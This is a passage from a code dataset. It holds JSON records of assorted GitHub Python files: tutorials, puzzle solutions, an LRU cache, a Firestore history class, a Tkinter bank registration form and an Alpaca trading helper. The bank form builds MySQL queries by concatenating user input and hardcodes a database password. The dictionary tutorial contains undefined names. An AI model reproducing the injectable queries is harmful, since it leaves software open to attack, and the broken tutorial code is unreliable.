}}).then(() => {{\n               var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n               plot_{plot.plot_id}.setOption(options_{plot.plot_id})\n            }});\n          }}\n        </script>\n        \"\"\"\n        return Html(html).data\n","repo_name":"yiliuyan161/chartspy","sub_path":"chartspy/echarts.py","file_name":"echarts.py","file_ext":"py","file_size_in_byte":20470,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
+{"seq_id":"35801418679","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\n\"\"\"\n@Function: 示例 2-4 元组: 不可变列表和没有字段名的记录\n@Python Version: 3.9.7\n@Author: Wei Li (weili_yzzcq@163.com)\n@Date: 2022-05-17\n\"\"\"\n\nimport os\nfrom collections import namedtuple\n\n\n# ----------------------------\nif __name__ == \"__main__\":\n    # 1. 元组和记录(位置信息和数量信息)\n    lax_coordinates = (33.94255, -118.408056)\n    city, year, pop, chg, area = (\"Tokyo\", 2003, 32450, 0.66, 8014)\n    traveler_ids = [('USA', \"31195855\"), (\"BRA\", \"CE342567\"), (\"ESP\", \"XDA205856\")]\n    for passport in sorted(traveler_ids):\n        # % 格式运算符能被匹配到对应的元组元素上\n        print('%s|%s' % passport)\n\n    # for 循环可以分别提取元组里的元素，也叫作拆包 unpacking\n    # 因为元组中第二个元素没有什么用，所以它赋值给 “_” 占位符\n    for country, _ in traveler_ids:\n        print(country)\n\n    # 拆包 unpacking 让元组 tuple 可以完美被当作记录来使用\n    # 2. 元组拆包\n    # style-1 元组拆包形式就是平行赋值，把一个可迭代对象里的元素，一并赋值到由对应的变量组成的元组\n    latitude, longitude = lax_coordinates\n    print(latitude)\n    print(longitude)\n\n    # style-2 优雅的写法当属不使用中间变量交换两个变量\n    a, b = 24, 42\n    print(a, b)\n    a, b = b, a\n    print(a, b)\n\n    # style-3 用 * 运算符把一个可迭代对象拆开作为函数的参数X\n    print(divmod(20, 8))\n    param_tuple = (20, 8)\n    print(divmod(*param_tuple))\n    quotient, remainder = divmod(*param_tuple)\n    print(quotient, remainder)\n\n    # 元组拆包的用法则是让一个函数可以用元组的形式返回多个值，\n    # 然后调用函数的代码就能轻松地接受这些返回值。\n    # 比如 os.path.split() 函数就会返回以路径和最后一个文件名组成的元组 (path, last_part):\n    _, filename = os.path.split(\"./../chapter01/1_1.py\")\n    print(filename)\n    # 如果做的是国际化软件，那么 _ 可能就不是一个理想的占位符，因为它也是 gettext.gettext 函数的常用别名， \n    # gettext 模块的文档（https://docs.python.org/3/library/gettext.html）里提到了这一点。\n    # 在其他情况下， _ 会是一个很好的占位符。\n\n    # 在元组拆包中使用 * 也可以帮助把注意力集中在元组的部分元素上。\n    # 用 * 来处理剩下的元素\n    # 在 Python 中，函数用 *args 来获取不确定数量的参数算是一种经典写法了。\n    # 于是 Python 3 里，这个概念被扩展到了平行赋值中\n    a, b, *rest = range(5)\n    print(a, b, rest)\n    a, b, *rest = range(3)\n    print(a, b, rest)\n    a, b, *rest = range(2)\n    print(a, b, rest)\n\n    # 在平行赋值中， * 前缀只能用在一个变量名前面，\n    # 但是这个变量可以出现在赋值表达式的���意位置：\n    a, *body, c, d = range(5)\n    print(a, body, c, d)\n    *head, b, c, d = range(5)\n    print(head, b, c, d)\n\n    # style-4 嵌套元组拆包\n    metro_areas = [\n        ('Tokyo','JP',36.933,(35.689722,139.691667)),\n        ('Delhi NCR', 'IN', 21.935, (28.613889, 77.208889)),\n        ('Mexico City', 'MX', 20.142, (19.433333, -99.133333)),\n        ('New York-Newark', 'US', 20.104, (40.808611, -74.020386)),\n        ('Sao Paulo', 'BR', 19.649, (-23.547778, -46.635833)),\n        ]\n    print(f\"{'':15} | {'lat':^9} | {'long':^9}\")\n    # format_string = \"{:15} | {:9.4f} | {:9.4f}\"\n    for name, cc, pop, (latitude, longitude) in metro_areas:\n        if longitude <= 0:\n            # print(format_string.format(name, latitude, longitude))\n            print(f\"{name:15} | {latitude:9.4f} | {longitude:9.4f}\")","repo_name":"2694048168/MachineLearning","sub_path":"FluentPython/chapter02/2_4.py","file_name":"2_4.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"zh","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"18819034343","text":"import numpy as np\nimport pdb\n\nblocks = [block.strip() for block in open(\"input\",\"r\").read().split(\"\\n\\n\")]\ndraw_nums = [int(num) for num in blocks[0].split(\",\")]\nboards = [np.reshape( [int(num) for num in board.split()],(5,5)) for board in blocks[1:]]\ncheck_boards = boards.copy()\n\ndef winner(board):\n    for i in range(5):\n        if (    sum(board[i,:]) == -5 or\n                sum(board[:,i]) == -5 ):\n            return True\n    return False\n\nwin = False\n\nremaining = list(range(len(check_boards)))\n\nfor called_num in draw_nums:\n    for i in range(len(check_boards)):\n\n        check_boards[i] = np.where(check_boards[i] == called_num, -1, check_boards[i])\n\n        if winner(check_boards[i]):\n            if i == 15:\n                print(\"LAST WINNER\")\n                zeroed = np.where(check_boards[i] == -1, 0, check_boards[i])\n                print(zeroed)\n                print(called_num, np.sum(zeroed))\n                print( f\"Answer {called_num * np.sum(zeroed)}\")\n                \n\n\n            if len(remaining) == 1:\n                print(remaining)\n                print(check_boards[remaining[0]])\n\n            if i in remaining:\n                remaining.remove(i)\n            \n","repo_name":"Toofty5/advent_of_code_2021","sub_path":"04a_bingo.py","file_name":"04a_bingo.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39141239214","text":"### main.py ###\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\ndf = pd.read_csv('daten.csv')\ng = df['g']\nb = df['b']\nG = 1/g\nB = 1/b\n\n# Aufgabe a)\n# Berechnung der Werte fuer f\nf = 1 / (G + B)\nmean = np.mean(f)\ns = np.std(f)\nu = 1/np.sqrt(6) * s\nprint(f)\nprint(f'Mittelwert: {mean}')\nprint(f'Standartabweichung: {s}')\nprint(f'Unsicherheit: {u}')\n\n# Aufgabe b)\n# berehchne gerade mit 1/f = m*x+b\n\nm, y0, r, p, std_err  = stats.linregress(G,B)\nx = np.linspace(0,0.02,1000)\nprint('Geradengleichung: y=m*x + y0')\nprint(f'm = {m}\\t y0={y0}')\nplt.plot(x, m*x + y0, label=\"Ausgleichsgerade\");\n\nplt.scatter(G,B, marker=\"+\", color='k', label=\"Daten\")\nplt.legend()\n\nplt.xlabel(r'$G = 1/g$')\nplt.ylabel(r'$B = 1/b$')\n\n# F = 1/f = G + B = m*x + y0\n# in der lin regress ist G = m*x, also fuer x = 0\n# gilt F = y0 <=> 1/f=y0 <=> f = 1/y0\nprint('Laut linregress:')\nprint(f'f = {1 / y0}')\n\nplt.savefig('aufgabe2-plot.pdf')\n","repo_name":"dormail/ap-grafische-darstellung","sub_path":"aufgabe2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22509951226","text":"# ------- Vehicle Parking System for Kigali Arena ------- #\n\n# @Authors : Achille Tanwouo and Samuel Anumudu\n\n# Import modules / files\nimport time\nfrom moto_class import Moto\nfrom car_class import Car\nfrom truck_class import Truck\nfrom controller import Controller\n\nqueue = []  # Here we wish to create an empty array for queuing vehicles for organizational purposes\n\nfor i in range(30):\n    if i < 10:\n        queue.append(Moto())\n        time.sleep(0.05)\n    elif 10 < i < 20:\n        queue.append(Car())\n        time.sleep(0.05)\n    else:\n        queue.append(Truck())\n        time.sleep(0.05)\n\n        # Checking for cars in the queue\nfor vehicle in queue:\n    Controller.control_vehicles(vehicle)\n\nprint(queue)\n","repo_name":"alu-rwa-prog-1/final_project_part1-samuelanumudu","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25533745099","text":"from datetime import datetime\r\nfrom typing import List, Dict\r\nfrom pydantic import BaseModel\r\nfrom libs.aituberchain.schema import (\r\n    BaseMessage,\r\n    BaseHistory,\r\n)\r\n\r\nclass BaseDocument(BaseModel):\r\n    \"\"\"Base class for Firestore documents\"\"\"\r\n    type: str\r\n    message: str\r\n    user_name: str\r\n    platform: str\r\n    created_at: datetime\r\n\r\nclass FirestoreHistory(BaseHistory):\r\n    \"\"\"History backed by Google Firestore\"\"\"\r\n    \r\n    def __init__(self, firestore_client, collection_name: str):\r\n        self.collection = firestore_client.collection(collection_name)\r\n        self.messages: List[BaseMessage] = []\r\n\r\n    def upsert_message(self, document: Dict[str, str]) -> None:\r\n        \"\"\"実際にFirestoreに書き込む\"\"\"\r\n        now = datetime.now()\r\n        self.messages.append(document[\"message\"])\r\n        document[\"created_at\"] = now\r\n        document: BaseDocument = document.copy()\r\n        print(document)\r\n        self.collection.add(document)\r\n\r\n    def add_user_message(self, message: str) -> None:\r\n        \"\"\"Add a user message to the store\"\"\"\r\n        self.collection.add({\r\n            'type': 'user',\r\n            'content': message,\r\n        })\r\n\r\n    def add_ai_message(self, message: str) -> None:\r\n        \"\"\"Add an AI message to the store\"\"\"\r\n        self.collection.add({\r\n            'type': 'ai',\r\n            'content': message,\r\n        })\r\n\r\n    def clear(self) -> None:\r\n        \"\"\"Clear the store\"\"\"\r\n        docs = self.collection.stream()\r\n        for doc in docs:\r\n            doc.reference.delete()\r\n\r\n    def get_messages(self) -> List[BaseMessage]:\r\n        \"\"\"Get all messages from the store\"\"\"\r\n        docs = self.collection.stream()\r\n        messages = []\r\n        for doc in docs:\r\n            messages.append(BaseMessage(**doc.to_dict()))\r\n        return messages\r\n\r\n    def search_user_history(self, user_name) -> bool:\r\n        \"\"\"ユーザーとの会話履歴があるか検索\"\"\"\r\n        pass\r\n","repo_name":"StarmiyaMiyuki/api","sub_path":"discord/libs/aituberchain/memory/histories/firestore.py","file_name":"firestore.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3119244843","text":"print('Dictionaries')\n\n# Defining a dictionary\n# key-value pair (Key: value)\n# value can be in ANY data type\n# Keys need to be unique. No duplicate\n# Unordered till python 3.6\n# Ordered as from Python 3.7\n\nstudents_dict = {\n    \"student1\": \"Joeri\",\n    \"student2\": \"Ally\",\n    \"student3\": \"Shivastav\",\n    \"student4\": \"Kadeer\",\n    \"student5\": \"Laurent\",\n    \"student6\": \"Angkush\",\n    \"student7\": \"Bruno\",\n    \"ages\": [25, 24, 24, 23, 34, 19, 50]\n}\n\nprint(students_dict)\n\n# Access the data - using key\nprint(students_dict['student1'])\nprint(\"This first student is {}\".format(students_dict['student1']))\n\n# Access the data - using index\n# keys\nkeys_student = list(students_dict)\nprint(keys_student[0])\nprint(students_dict[keys_student[0]])\n\n# values\nvalues_students = list(students_dict.values())\nprint(values_students[0])\n\nsample_dict = {\n   \"class\": {\n      \"student\": {\n         \"name\": \"Mike\",\n         \"marks\": {\n            \"physics\": 70,\n            \"history\": 80\n         }\n      }\n   }\n}\n\nhistory = sample_dict\nprint(history)\n\nhistory = sample_dict['class']['student']['marks']['history']\n\n# Update dictionary\n\nstudents_dict['students6'] = \"Tooshar\"\nprint(students_dict)\n\n# Add new entry\nstudents_dict['Instructor'] = 'Damien'\nprint(students_dict)\n\n# Delete / Remove an entry\ndel students_dict['student4']\nprint(students_dict)\n\n\n\n# Loop through dictionary.\nfor student in students_dict:\n    if students_dict[student] == 'Bruno':\n        print('student4 is present')\n        break\n    else:\n        print(student, students_dict[student])\n\n# Get dictionary of keys, values and items\nprint(students_dict.keys())\nprint(students_dict.values())\nprint(students_dict.items())\n\n# Merge dictionaries\nnew_instructor = {'New instructor': Nirmal}\nstudents_dict.update(new_instructor)\n\n# Using items in for Loop\n\nfor key, value in students_dict.items():\n    print(\"{} is {}\".format(key, val))\n\n#Exercise\n\nsample_dict = {\n    \"name\": \"Kelly\",\n    \"age\": 25,\n    \"salary\": 8000,\n    \"city\": \"New york\"\n}\n\nkeys_to_remove = {}","repo_name":"AngkushTarachand/PY_Bootcamp_DI","sub_path":"Week_6/dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"19846966807","text":"import pandas as pd\nimport io\n\ndef read_kestrel(dataset):\n    f = open(dataset, 'r')\n    lines = f.readlines()\n\n    output = io.StringIO()\n    for l in lines[3:]:\n        output.write(','.join(l.split(',')[:16]) + '\\n')\n    \n    output.seek(0)\n    data = pd.read_csv(output, na_values='--')\n    data = data.drop(0)\n    data['Time'] = pd.to_datetime(data['FORMATTED DATE_TIME'])\n    data = data.set_index('Time')\n    data = data.drop('FORMATTED DATE_TIME', axis=1)\n    data = data.astype(float)\n    return data","repo_name":"wblumberg/ESCI448","sub_path":"Kite Analysis/kite_tools.py","file_name":"kite_tools.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"73917446271","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis problem was asked by Google.\n\nImplement an LRU (Least Recently Used) cache. It should be able to be initialized with a cache size n, and contain the following methods:\n\nset(key, value): sets key to value. If there are already n items in the cache and we are adding a new item, then it should also remove the least recently used item. get(key): gets the value at key. If no such key exists, return null. Each operation should run in O(1) time.\n\"\"\"\n\nclass Node:\n    def __init__(self, key, value):\n        self.key = key\n        self.value = value\n        self.prev = None\n        self.next = None\n\nclass LRU:\n  def __init__(self,cache_size):\n    self.cache_size = cache_size\n    self.content = dict()\n    self.head = Node(None, None)\n    self.tail = Node(None, None)\n    self.head.next = self.tail\n    self.tail.prev = self.head\n  \n  def _remove(self,node):\n    previous_node = node.prev\n    next_node = node.next\n    previous_node.next = next_node\n    next_node.prev = previous_node\n  \n  def _add(self, node):\n    previous_node = self.tail.prev\n    node.next = self.tail\n    node.prev = previous_node\n    previous_node.next = node\n    self.tail.prev = node\n\n  def set(self,key,value):\n    if key in self.content:\n      node = self.content[key]\n      self._remove(node)\n    node = Node(key,value)\n    self._add(node)\n    self.content[key] = node\n    if len(self.content) > self.cache_size :\n      node_to_delete = self.head.next\n      self._remove(node_to_delete)\n      del self.content[node_to_delete.key]\n\n  def get(self,key):\n    if key in self.content:\n      node = self.content[key]\n      self._remove(node)\n      self._add(node)\n      return node.value\n\n    return None\n\n# Driver code\nlru = LRU(3)\n\nassert not lru.get(\"y\")\nlru.set(\"y\",1)\nassert lru.get(\"y\") == 1\nlru.set(\"b\", 2)\nlru.set(\"c\", 3)\nlru.set(\"d\", 4)\nlru.set(\"e\", 5)\nlru.set(\"y\", 1)\nassert lru.get(\"y\") == 1\nassert not lru.get(\"b\")\nassert lru.get(\"e\") == 5\nassert not lru.get(\"c\")\n","repo_name":"dombroks/Daily-Coding-Problems","sub_path":"Google_Problems/Google_Problem_18.py","file_name":"Google_Problem_18.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"42218069282","text":"import mysql.connector\r\nfrom tkinter import *\r\nfrom Frame import common, list_method\r\nfrom tkinter.messagebox import askokcancel, showinfo, WARNING\r\nfrom Frame import reg\r\nfrom Frame import login\r\nfrom datetime import date\r\n\r\n\r\nclass Reg_details:\r\n    state_name=''\r\n    def updateState(item):\r\n        state_name.state_txtbox.configure(state='normal')\r\n        state_name.state_txtbox.delete(0, END)\r\n        state_name.state_txtbox.insert(0, item)\r\n        state_name.state_txtbox.configure(state='disabled')\r\n\r\n    def __init__(self):\r\n        global state_name\r\n        state_name=self\r\n        window = Tk()\r\n        def drop_downstates():\r\n            list_method.trosa(window)\r\n        def btn_clicked():\r\n            name=fname.get()\r\n            try:\r\n                contact=int(cnumber.get())\r\n            except:\r\n                print('Enter valid contact number!')\r\n            aadh=aadhar.get()\r\n            state=self.state_txtbox.get()\r\n            mail=email.get()\r\n            mydb = mysql.connector.connect(host=\"localhost\",user=\"root\",password=\"Kronos@369\",database=\"dbms\")\r\n            mycursor = mydb.cursor()\r\n            mycursor.execute(\"select email from user_details where email='\"+mail+\"'\")\r\n            if(name=='' or contact=='' or aadh=='' or state=='' or mail==''):\r\n                answer=showinfo(title='Error',message='Fields Missing!',icon=WARNING)\r\n            elif len(str(contact))!=10 or len(aadh)!=12:\r\n                answer=showinfo(title='Error',message='Contact/Aadhar number invalid!',icon=WARNING)\r\n                cnumber.delete(0, END)\r\n                aadhar.delete(0, END)\r\n            else:\r\n                # swiftid=name.replace(\" \",\"\")+'@swift'\r\n                mydb = mysql.connector.connect(host=\"localhost\",user=\"root\",password=\"Kronos@369\",database=\"dbms\")\r\n                mycursor = mydb.cursor()\r\n                try:    \r\n                    mycursor.execute(\"update user_details set name='\"+name+\"',aadhar_no='\"+aadh+\"',mobile='\"+str(contact)+\"',state='\"+state+\"',balance='\"+str(2500)+\"' where email='\"+mail+\"'\")\r\n                    mydb.commit()\r\n\r\n                except:\r\n                    answer=showinfo(title='Error',message='Details entered not unique!',icon=WARNING)\r\n                else:\r\n                    answer=showinfo(title='Suceesful',message='Registration succesful!Redirecting to login page...',icon=WARNING)\r\n                    mycursor.execute(\"select account_no from user_details where email='\"+mail+\"'\")\r\n                    acno=mycursor.fetchone()\r\n                    acc_no=acno[0]\r\n                    mycursor.execute(\"select deb_no from debit_card\")\r\n                    result=mycursor.fetchall()\r\n                    list=[]\r\n                    for i in range(len(result)):\r\n                        list.append(result[i][0])\r\n                    value=max(list)+13\r\n                    today = date.today()\r\n                    d4 = today.strftime(\"%m %Y\")\r\n                    month=int(d4[0:2])\r\n                    year=int(d4[3:7])+5\r\n                    exp_date=str(month)+'/'+str(year)\r\n                    domes=True\r\n                    intpay=False\r\n                    status='Enabled'\r\n                    mycursor.execute(\"insert into debit_card values('\"+name+\"','\"+str(acc_no)+\"','\"+str(value)+\"','\"+exp_date+\"','\"+str(domes)+\"','\"+str(intpay)+\"','\"+status+\"')\")\r\n                    mydb.commit()\r\n                    \r\n                    mycursor.execute(\"select cred_no from cred_card\")\r\n                    result=mycursor.fetchall()\r\n                    list=[]\r\n                    for i in range(len(result)):\r\n                        list.append(result[i][0])\r\n                    value=max(list)+17\r\n                    today = date.today()\r\n                    d4 = today.strftime(\"%m %Y\")\r\n                    month=int(d4[0:2])\r\n                    year=int(d4[3:7])+5\r\n                    exp_date=str(month)+'/'+str(year)\r\n                    domes=True\r\n                    intpay=False\r\n                    status='Enabled'\r\n                    mycursor.execute(\"insert into cred_card values('\"+name+\"','\"+str(acc_no)+\"','\"+str(value)+\"','\"+exp_date+\"','\"+str(domes)+\"','\"+str(intpay)+\"','\"+status+\"')\")\r\n                    mydb.commit()\r\n                    mycursor.close()\r\n                    mydb.close()\r\n\r\n                    window.destroy()\r\n                    login.Login_Frame()\r\n\r\n        window.geometry(\"1000x600\")\r\n        window.configure(bg = \"#ffffff\")\r\n        window.title(\"Swift Bank Online Portal\")\r\n        window.iconbitmap(r'Frame/RegDetails_img/icon.ico')\r\n\r\n        common.center(window)\r\n        canvas = Canvas(\r\n            window,\r\n            bg = \"#ffffff\",\r\n            height = 600,\r\n            width = 1000,\r\n            bd = 0,\r\n            highlightthickness = 0,\r\n            relief = \"ridge\")\r\n        canvas.place(x = 0, y = 0)\r\n\r\n        background_img = PhotoImage(file = f\"Frame/RegDetails_img/background.png\")\r\n        background = canvas.create_image(\r\n            500.0, 300.0,\r\n            image=background_img)\r\n\r\n        entry0_img = PhotoImage(file = f\"Frame/RegDetails_img/img_textBox0.png\")\r\n        entry0_bg = canvas.create_image(\r\n            743.5, 156.5,\r\n            image = entry0_img)\r\n\r\n        email = Entry(\r\n            bd = 0,\r\n            bg = \"#FCE6E6\",\r\n            cursor=\"arrow\",\r\n            disabledbackground=\"#FCE6E6\",\r\n            disabledforeground=\"#000000\",\r\n            font=(\"Poppins\",15),\r\n            highlightthickness = 0)\r\n\r\n        email.place(\r\n            x = 574.5, y = 122,\r\n            width = 338.0,\r\n            height = 67)\r\n        a=reg.email_2\r\n        email.insert(0,a)\r\n        email.configure(state='disabled')\r\n\r\n        entry1_img = PhotoImage(file = f\"Frame/RegDetails_img/img_textBox1.png\")\r\n        entry1_bg = canvas.create_image(\r\n            263.5, 156.5,\r\n            image = entry1_img)\r\n\r\n        fname = Entry(\r\n            bd = 0,\r\n            bg = \"#c4c4c4\",\r\n            font=(\"Poppins\",15),\r\n            highlightthickness = 0)\r\n\r\n        fname.place(\r\n            x = 94.5, y = 122,\r\n            width = 338.0,\r\n            height = 67)\r\n\r\n        entry2_img = PhotoImage(file = f\"Frame/RegDetails_img/img_textBox2.png\")\r\n        entry2_bg = canvas.create_image(\r\n            263.5, 299.5,\r\n            image = entry2_img)\r\n\r\n        cnumber = Entry(\r\n            bd = 0,\r\n            bg = \"#c4c4c4\",\r\n            font=(\"Poppins\",15),\r\n            highlightthickness = 0)\r\n\r\n        cnumber.place(\r\n            x = 94.5, y = 265,\r\n            width = 338.0,\r\n            height = 67)\r\n\r\n        entry3_img = PhotoImage(file = f\"Frame/RegDetails_img/img_textBox3.png\")\r\n        entry3_bg = canvas.create_image(\r\n            506.5, 442.5,\r\n            image = entry3_img)\r\n\r\n        aadhar = Entry(\r\n            bd = 0,\r\n            bg = \"#c4c4c4\",\r\n            font=(\"Poppins\",15),\r\n            highlightthickness = 0)\r\n\r\n        aadhar.place(\r\n            x = 337.5, y = 408,\r\n            width = 338.0,\r\n            height = 67)\r\n\r\n        entry4_img = PhotoImage(file = f\"Frame/RegDetails_img/img_textBox4.png\")\r\n        entry4_bg = canvas.create_image(\r\n            719.5, 299.5,\r\n            image = entry4_img)\r\n\r\n        self.state_txtbox = Entry(\r\n            bd = 0,\r\n            bg = \"#FCE6E6\",\r\n            disabledbackground=\"#FCE6E6\",\r\n            disabledforeground=\"#000000\",\r\n            cursor='arrow',\r\n            font=(\"Poppins\",15),\r\n            highlightthickness = 0)\r\n\r\n        self.state_txtbox.configure(state='disabled')\r\n\r\n        self.state_txtbox.place(\r\n            x = 574.5, y = 265,\r\n            width = 295.0,\r\n            height = 67)\r\n        \r\n\r\n        img0 = PhotoImage(file = f\"Frame/RegDetails_img/img0.png\")\r\n        list_state = Button(\r\n            image = img0,\r\n            borderwidth = 0,\r\n            highlightthickness = 0,\r\n            command = drop_downstates,\r\n            background=\"#686565\",\r\n            activebackground=\"#686565\",\r\n            relief = \"flat\")\r\n\r\n        list_state.place(\r\n            x = 905, y = 286,\r\n            width = 37.5,\r\n            height = 30)\r\n\r\n        img1 = PhotoImage(file = f\"Frame/RegDetails_img/img1.png\")\r\n        rdsubmit = Button(\r\n            image = img1,\r\n            borderwidth = 0,\r\n            highlightthickness = 0,\r\n            command = btn_clicked,\r\n            background=\"#D2E6FB\",\r\n            activebackground=\"#D2E6FB\",\r\n            relief = \"flat\")\r\n\r\n        rdsubmit.place(\r\n            x = 413, y = 517,\r\n            width = 175,\r\n            height = 60)\r\n        \r\n\r\n        window.resizable(False, False)\r\n        window.mainloop()","repo_name":"bipinjon369/DBMS-Mini_Project","sub_path":"Frame/Register_Details.py","file_name":"Register_Details.py","file_ext":"py","file_size_in_byte":8711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1576153337","text":"import frappe\nfrom frappe.tests.utils import FrappeTestCase\n\nfrom erpnext.controllers.queries import item_query\n\ntest_dependencies = [\"Item\", \"Customer\", \"Supplier\"]\n\n\ndef create_party_specific_item(**args):\n\tpsi = frappe.new_doc(\"Party Specific Item\")\n\tpsi.party_type = args.get(\"party_type\")\n\tpsi.party = args.get(\"party\")\n\tpsi.restrict_based_on = args.get(\"restrict_based_on\")\n\tpsi.based_on_value = args.get(\"based_on_value\")\n\tpsi.insert()\n\n\nclass TestPartySpecificItem(FrappeTestCase):\n\tdef setUp(self):\n\t\tself.customer = frappe.get_last_doc(\"Customer\")\n\t\tself.supplier = frappe.get_last_doc(\"Supplier\")\n\t\tself.item = frappe.get_last_doc(\"Item\")\n\n\tdef test_item_query_for_customer(self):\n\t\tcreate_party_specific_item(\n\t\t\tparty_type=\"Customer\",\n\t\t\tparty=self.customer.name,\n\t\t\trestrict_based_on=\"Item\",\n\t\t\tbased_on_value=self.item.name,\n\t\t)\n\t\tfilters = {\"is_sales_item\": 1, \"customer\": self.customer.name}\n\t\titems = item_query(\n\t\t\tdoctype=\"Item\", txt=\"\", searchfield=\"name\", start=0, page_len=20, filters=filters, as_dict=False\n\t\t)\n\t\tfor item in items:\n\t\t\tself.assertEqual(item[0], self.item.name)\n\n\tdef test_item_query_for_supplier(self):\n\t\tcreate_party_specific_item(\n\t\t\tparty_type=\"Supplier\",\n\t\t\tparty=self.supplier.name,\n\t\t\trestrict_based_on=\"Item Group\",\n\t\t\tbased_on_value=self.item.item_group,\n\t\t)\n\t\tfilters = {\"supplier\": self.supplier.name, \"is_purchase_item\": 1}\n\t\titems = item_query(\n\t\t\tdoctype=\"Item\", txt=\"\", searchfield=\"name\", start=0, page_len=20, filters=filters, as_dict=False\n\t\t)\n\t\tfor item in items:\n\t\t\tself.assertEqual(item[2], self.item.item_group)\n","repo_name":"frappe/erpnext","sub_path":"erpnext/selling/doctype/party_specific_item/test_party_specific_item.py","file_name":"test_party_specific_item.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":15303,"dataset":"github-code","pt":"60"}
+{"seq_id":"41815812132","text":"\"\"\"\nExercise 9.2.\nWrite a function called has_no_e that returns True if the given word doesn’t have the letter “e” in\nit.\nModify your program from the previous section to print only the words that have no “e” and compute\nthe percentage of the words in the list have no “e.”\n\"\"\"\n\n# fp=open('E:\\projects\\practice-python\\interviews\\/thinkpython\\words.txt','r')\n# noletter='e'\n# for eachword in fp.readlines():\n#     if 'e' not in eachword:\n#         print(eachword)\n# fp.close()\n\n\n\"\"\"\nExercise 9.3. Write a function named avoids that takes a word and a string of forbidden letters,\nand that returns True if the word doesn’t use any of the forbidden letters.\n\nModify your program to prompt the user to enter a string of forbidden letters and then print the\nnumber of words that don’t contain any of them. Can you find a combination of 5 forbidden letters\nthat excludes the smallest number of words?\n\"\"\"\n\ndef avoid(word,forbid):\n    for letter in word:\n        if letter == forbid:\n            return False\n    return True\nprint(avoid('sunil','m'))\n\n\n\"\"\"\nExercise 9.4. Write a function named uses_only that takes a word and a string of letters, and\nthat returns True if the word contains only letters in the list. Can you make a sentence using only\nthe letters acefhlo? Other than “Hoe alfalfa?”\n\"\"\"\n\n\n\"\"\"\nExercise 9.5. Write a function named uses_all that takes a word and a string of required letters,\nand that returns True if the word uses all the required letters at least once. How many words are\nthere that use all the vowels aeiou? How about aeiouy?\n\"\"\"\n\n\n\"\"\"\nExercise 9.6. Write a function called is_abecedarian that returns True if the letters in a word\nappear in alphabetical order (double letters are ok). How many abecedarian words are there?\n\"\"\"\n","repo_name":"samperay/pycodes","sub_path":"pybooks/thinkpython/ex9.2.py","file_name":"ex9.2.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"23685785107","text":"\"\"\"Account, orders, market clock, etc.\"\"\"\r\n# Non-local imports\r\nimport mypytoolkit as kit\r\nimport alpaca_trade_api as alpaca_api\r\nfrom rich.console import Console; console = Console()\r\n\r\n# Local imports\r\nimport math\r\n\r\n# Project modules\r\nimport keys\r\nfrom config import Config\r\n\r\n\r\n# Instantiate Alpaca API\r\nalpaca = alpaca_api.REST(\r\n    key_id = keys.Alpaca.API_KEY,\r\n    secret_key = keys.Alpaca.API_SECRET,\r\n    base_url = keys.Alpaca.BASE_URL\r\n)\r\n\r\n\r\n# ---- Account and orders ----\r\n\r\ndef account_margin_status() -> bool:\r\n    \"\"\"\r\n    Returns True if the account has margin enabled and \r\n    a positive, tradable margin balance.\r\n    \"\"\"\r\n    account = alpaca.get_account()\r\n    if float(account.multiplier) > 1:\r\n        return True\r\n\r\n    return False\r\n\r\n\r\ndef account_equity(rounding: int = None) -> float:\r\n    equity = float(alpaca.get_account().equity)\r\n    if not rounding:\r\n        return equity\r\n\r\n    return round(equity, rounding)\r\n\r\n\r\ndef tradable_balance() -> float:\r\n    \"\"\"\r\n    Reads available cash to trade and returns a float.\r\n    Accounts for account multiplier.\r\n    \"\"\"\r\n    account = alpaca.get_account()\r\n    return float(account.cash) * Config.account_multiplier\r\n\r\n\r\ndef fractional_order(side: str, symbol: str, amount: float) -> None:\r\n    \"\"\"Give `side` as 'buy' or 'sell'.\"\"\"\r\n    side = side.lower()\r\n    if side not in ('buy', 'sell'):\r\n        raise Exception(\"Side parameter was inputted incorrectly.\")\r\n\r\n    # Submit the order\r\n    alpaca.submit_order(\r\n        symbol = symbol,\r\n        side = side,\r\n        notional = amount,\r\n    )\r\n\r\n\r\n# --- Market clock ---- \r\n\r\nlast_market_open_verification: float = 0.00\r\n\r\ndef market_open() -> bool:\r\n    global last_market_open_verification\r\n\r\n    if 1 <= kit.weekday_int() <= 5 and 9.5 < kit.time_decimal() < 16:\r\n        if(\r\n            math.floor(kit.time_decimal()) == math.floor(last_market_open_verification)\r\n            and math.ceil(round(kit.time_decimal() % 1, 5) * 2) == \\\r\n                math.ceil(round(last_market_open_verification % 1, 5)) * 2\r\n        ):\r\n            return True\r\n        elif alpaca.get_clock().is_open:\r\n            last_market_open_verification = kit.time_decimal()\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    return 